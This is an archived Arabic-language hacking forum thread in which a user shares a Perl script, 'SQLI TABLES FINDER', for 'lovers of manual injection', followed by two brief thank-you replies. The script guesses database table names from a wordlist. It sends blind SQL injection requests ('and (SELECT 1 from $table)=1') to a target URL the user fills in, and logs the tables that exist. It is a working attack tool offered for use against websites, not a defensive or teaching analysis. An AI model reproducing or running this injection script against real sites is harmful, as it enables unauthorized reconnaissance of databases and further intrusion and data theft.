:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   برمجة السكربتات (http://www.vbspiders.com/vb/f423.html)
-   -   SQLI TABLES FINDER (http://www.vbspiders.com/vb/t74679.html)

L3issabaNet 04-23-2018 01:34 AM

SQLI TABLES FINDER
 
السلام عليكم ورحمة الله

لمحبي الحقن اليدوي

طريقة للتخمين على التايبلز

بالتوفيق

كود:

    use strict;
    use warnings;
    use LWP::UserAgent;
    use HTTP::Request::Common;
   
    system('cls');
print '
  ____      _____    _____ 
 / __"| u  |_ " _|  |" ___|
<\___ \/      | |    U| |_  u
 u___) |    /| |\  \|  _|/ 
 |____/>>  u |_|U    |_|   
  )(  (__)  _// \\_  )(\\,- 
 (__)      (__) (__) (__)(_/ 
';
print "\n Sql tables Finder\n";
   
    print "List Of tables -> ";
    my $tables = <STDIN>;
    chomp($tables);
    open (TABLESFILE, "<$tables") || die "[-] Can't Found ($tables) !";
    my @tables = <TABLESFILE>;
    close TABLESFILE;
    system('clear');
    system('cls');
    print "Cracking Now !...\n";

        foreach my $table (@tables) {
        chomp $table;
                my $UserAgent = LWP::UserAgent->new;
                my $sql = "https://www.site.com/path/-id and (SELECT 1 from $table )=1"; #change to your targer
                my $request = HTTP::Request->new(GET => $sql);
                my $reponse = $UserAgent->request($request);
                #print $sql;
                if ($reponse->content =~m/SQL/) { #change to your specific string
                    print "Table doesn't exist => ($table)\n";
                }
                else{
                    print " Table exist => ($table)\n";
                    open(LNT,">>tables_exists.txt");
                    print LNT "$table\n";
                    close(LNT);}
    }


mimo-dz 04-23-2018 09:45 PM

رد: SQLI TABLES FINDER
 
ربنا يوفقك اخي واصل ابداعك

L3issabaNet 04-24-2018 05:31 PM

رد: SQLI TABLES FINDER
 
واياك ان شاء الله اخي
نورت الموضوع


الساعة الآن 10:51 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0